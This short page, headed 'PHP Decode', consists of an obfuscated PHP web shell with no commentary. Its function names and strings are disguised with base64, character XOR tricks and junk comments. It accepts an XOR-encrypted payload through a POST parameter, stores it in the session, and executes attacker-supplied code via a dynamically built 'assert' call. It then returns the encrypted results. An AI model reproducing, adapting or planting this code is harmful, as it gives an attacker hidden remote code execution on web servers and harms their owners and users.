PHP Decode

<?pHP 
@session_start(); 
@set_time_limit(Chr("48")); 
@error_reporting/*fuckgovhJmbuUavtTqTta*/(Chr("48")); 
function baidu5pL3yuUn(/*fuckgovMg8ByS*/$baiduib4yKd8mOou1X,$baiduyIhKPqBEUQ){ 
    for($baiduJHfj=Chr("48");$baiduJHfj<strlen($baiduib4yKd8mOou1X);$baiduJHfj++) { 
        $baidur5Se3XekADx = $baiduyIhKPqBEUQ[$baiduJHfj+Chr("49")&15]; 
        $baiduib4yKd8mOou1X[$baiduJHfj] = $baiduib4yKd8mOou1X[$baiduJHfj]^$baidur5Se3XekADx; 
    } 
    return $baiduib4yKd8mOou1X; 
} 
$baiduWseR = "bas"."e6".Chr("52")."_"."de"."cod".Chr("101"); 
$base64_baidu5pL3yuUn = "bas"."e6".Chr("52")."_e".Chr("110").Chr("99")."ode"; 
$baiduvZro=("&"^"r").("7"^"V").("I"^":").("p"^"I").("_"^":").$baiduWseR($baiduWseR("Y2c9PQ==")); 
$baiduj03sLAb='p'.$baiduWseR($baiduWseR("WVhsc2IyRms=")); 
$baidu19Hft3srh='2d60a156'.$baiduWseR("OTMyN2M3YjI="); 
$baiduCsMxm=("!"^"@").'ss'.Chr("101").'rs'; 
$baiduCsMxm++; 
if (isset($_POST/*fuckgovUNYA*/[$baiduvZro])){ 
    $datbaiduCsMxm=baidu5pL3yuUn/*fuckgovFtBgCeWS*/($baiduWseR($_POST[$baiduvZro]),$baidu19Hft3srh); 
    if (/*fuckgovnDhOqrJae*/isset($_SESSION/*fuckgovPqUwi2WYAjqN*/[$baiduj03sLAb])){ 
        $baidu0rneND2gP03koxs=baidu5pL3yuUn($_SESSION/*fuckgovI1c8eAo*/[$baiduj03sLAb],$baidu19Hft3srh); 
        if (/*fuckgovB*/strpos($baidu0rneND2gP03koxs,$baiduWseR/*fuckgovmY*/($baiduWseR("WjJWMFFtRnphV056U1c1bWJ3PT0=")))===false){ 
            $baidu0rneND2gP03koxs=baidu5pL3yuUn/*fuckgovBo7UaHGwC*/($baidu0rneND2gP03koxs,$baidu19Hft3srh); 
        } 
		define("baiduAcU4RqFAwbIdsR","//baiduROz20zkBcf
".$baidu0rneND2gP03koxs); 
		$baiduCsMxm(baiduAcU4RqFAwbIdsR); 
        echo substr(/*fuckgovNgq0fi3*/md5/*fuckgovpWQulvv*/($baiduvZro.$baidu19Hft3srh),Chr("48"),16); 
        echo $base64_baidu5pL3yuUn(baidu5pL3yuUn(@run($datbaiduCsMxm),$baidu19Hft3srh)); 
        echo substr(/*fuckgova6*/md5/*fuckgovxI5rQ7LHm*/($baiduvZro.$baidu19Hft3srh),16); 
    }else{ 
        if (strpos/*fuckgovgWx*/($datbaiduCsMxm,$baiduWseR($baiduWseR("WjJWMFFtRnphV056U1c1bWJ3PT0=")))!==false){ 
            $_SESSION[$baiduj03sLAb]=baidu5pL3yuUn($datbaiduCsMxm,$baidu19Hft3srh); 
        } 
    } 
} 
?>